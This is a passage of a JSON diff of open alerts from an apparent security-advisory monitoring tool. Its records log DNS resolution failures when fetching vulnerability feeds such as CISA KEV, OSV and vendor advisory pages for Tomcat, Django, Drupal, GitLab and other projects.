Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "apache-httpd::CISA KEV Apache HTTPD::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "apache-tomcat::Apache Tomcat Security", + "system_id": "apache-tomcat", + "display_name": "Apache Tomcat", + "source_name": "Apache Tomcat Security", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "apache-tomcat", + "display_name": "Apache Tomcat", + "source_name": "Apache Tomcat Security", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://tomcat.apache.org/security-10.html", + "summary": "apache-tomcat::Apache Tomcat Security::network::HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "apache-tomcat::CISA KEV Tomcat", + "system_id": "apache-tomcat", + "display_name": "Apache Tomcat", + "source_name": "CISA KEV Tomcat", + "source_kind": "kev-json", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "apache-tomcat", + "display_name": "Apache Tomcat", + "source_name": "CISA KEV Tomcat", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "apache-tomcat::CISA KEV Tomcat::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "aspnet-core::OSV ASP.NET Core", + "system_id": "aspnet-core", + "display_name": "ASP.NET Core", + "source_name": "OSV ASP.NET Core", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "aspnet-core", + "display_name": "ASP.NET Core", + "source_name": "OSV ASP.NET Core", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "aspnet-core::OSV ASP.NET Core::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "astro::OSV Astro", + "system_id": "astro", + "display_name": "Astro", + "source_name": "OSV Astro", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "astro", + "display_name": "Astro", + "source_name": "OSV Astro", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "astro::OSV Astro::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "caddy::OSV Caddy", + "system_id": "caddy", + "display_name": "Caddy", + "source_name": "OSV Caddy", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "caddy", + "display_name": "Caddy", + "source_name": "OSV Caddy", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "caddy::OSV Caddy::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "directus::Directus GitHub Advisories", + "system_id": "directus", + "display_name": "Directus", + "source_name": "Directus GitHub Advisories", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "directus", + "display_name": "Directus", + "source_name": "Directus GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/directus/directus/security/advisories", + "summary": "directus::Directus GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "directus::OSV Directus", + "system_id": "directus", + "display_name": "Directus", + "source_name": "OSV Directus", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "directus", + "display_name": "Directus", + "source_name": "OSV Directus", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "discourse::Discourse Release Notes RSS", + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "Discourse Release Notes RSS", + "source_kind": "rss-feed", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "Discourse Release Notes RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://meta.discourse.org/tag/release-notes.rss", + "summary": "discourse::Discourse Release Notes RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "discourse::Discourse Security RSS", + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "Discourse Security RSS", + "source_kind": "rss-feed", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "Discourse Security RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://meta.discourse.org/tag/security.rss", + "summary": "discourse::Discourse Security RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "discourse::OSV Discourse", + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "OSV Discourse", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "OSV Discourse", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "discourse::OSV Discourse::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "django::Django Security Releases Archive", + "system_id": "django", + "display_name": "Django", + "source_name": "Django Security Releases Archive", + "source_kind": "vendor-index", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "django", + "display_name": "Django", + "source_name": "Django Security Releases Archive", + "source_kind": "vendor-index", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://docs.djangoproject.com/en/dev/releases/security/", + "summary": "django::Django Security Releases Archive::network::HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "django::Django Security Weblog", + "system_id": "django", + "display_name": "Django", + "source_name": "Django Security Weblog", + "source_kind": "vendor-index", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "django", + "display_name": "Django", + "source_name": "Django Security Weblog", + "source_kind": "vendor-index", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.djangoproject.com/weblog/", + "summary": "django::Django Security Weblog::network::HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "django::OSV Django", + "system_id": "django", + "display_name": "Django", + "source_name": "OSV Django", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "django", + "display_name": "Django", + "source_name": "OSV Django", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "django::OSV Django::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "drupal::Drupal Security Advisories RSS", + "system_id": "drupal", + "display_name": "Drupal", + "source_name": "Drupal Security Advisories RSS", + "source_kind": "rss-feed", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "drupal", + "display_name": "Drupal", + "source_name": "Drupal Security Advisories RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.drupal.org/security/rss.xml", + "summary": "drupal::Drupal Security Advisories RSS::network::HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "drupal::OSV Drupal", + "system_id": "drupal", + "display_name": "Drupal", + "source_name": "OSV Drupal", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "drupal", + "display_name": "Drupal", + "source_name": "OSV Drupal", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "drupal::OSV Drupal::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "echo::OSV Echo", + "system_id": "echo", + "display_name": "Echo", + "source_name": "OSV Echo", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "echo", + "display_name": "Echo", + "source_name": "OSV Echo", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "echo::OSV Echo::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "esbuild::OSV esbuild", + "system_id": "esbuild", + "display_name": "esbuild", + "source_name": "OSV esbuild", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "esbuild", + "display_name": "esbuild", + "source_name": "OSV esbuild", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "esbuild::OSV esbuild::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "express::OSV Express", + "system_id": "express", + "display_name": "Express", + "source_name": "OSV Express", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "express", + "display_name": "Express", + "source_name": "OSV Express", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "express::OSV Express::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "fastify::OSV Fastify", + "system_id": "fastify", + "display_name": "Fastify", + "source_name": "OSV Fastify", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "fastify", + "display_name": "Fastify", + "source_name": "OSV Fastify", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "fastify::OSV Fastify::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "flask::OSV Flask", + "system_id": "flask", + "display_name": "Flask", + "source_name": "OSV Flask", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "flask", + "display_name": "Flask", + "source_name": "OSV Flask", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "flask::OSV Flask::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "ghost::Ghost GitHub Advisories", + "system_id": "ghost", + "display_name": "Ghost", + "source_name": "Ghost GitHub Advisories", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "ghost", + "display_name": "Ghost", + "source_name": "Ghost GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/TryGhost/Ghost/security/advisories", + "summary": "ghost::Ghost GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "ghost::OSV Ghost", + "system_id": "ghost", + "display_name": "Ghost", + "source_name": "OSV Ghost", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "ghost", + "display_name": "Ghost", + "source_name": "OSV Ghost", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "ghost::OSV Ghost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "gin::OSV Gin", + "system_id": "gin", + "display_name": "Gin", + "source_name": "OSV Gin", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "gin", + "display_name": "Gin", + "source_name": "OSV Gin", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "gin::OSV Gin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "gitea::OSV Gitea", + "system_id": "gitea", + "display_name": "Gitea", + "source_name": "OSV Gitea", + "source_kind": "osv-batch", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "gitea", + "display_name": "Gitea", + "source_name": "OSV Gitea", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "gitea::OSV Gitea::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "gitlab-ce::GitLab Advisory Database", + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "source_name": "GitLab Advisory Database", + "source_kind": "html-links", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "source_name": "GitLab Advisory Database", + "source_kind": "html-links", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://gitlab.com/gitlab-org/advisories-community", + "summary": "gitlab-ce::GitLab Advisory Database::network::HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + } + }, + { + "alert_id": "gitlab-ce::GitLab Security Releases Atom", + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "source_name": "GitLab Security Releases Atom", + "source_kind": "atom-feed", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, + "failure_streak": 1, + "last_category": "network", + "last_failure": { + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "source_name": "GitLab Security Releases Atom", + "source_kind": "atom-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://about.gitlab.com/security-releases.xml", + "summary": "gitlab-ce::GitLab Security Releases Atom::network::HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: 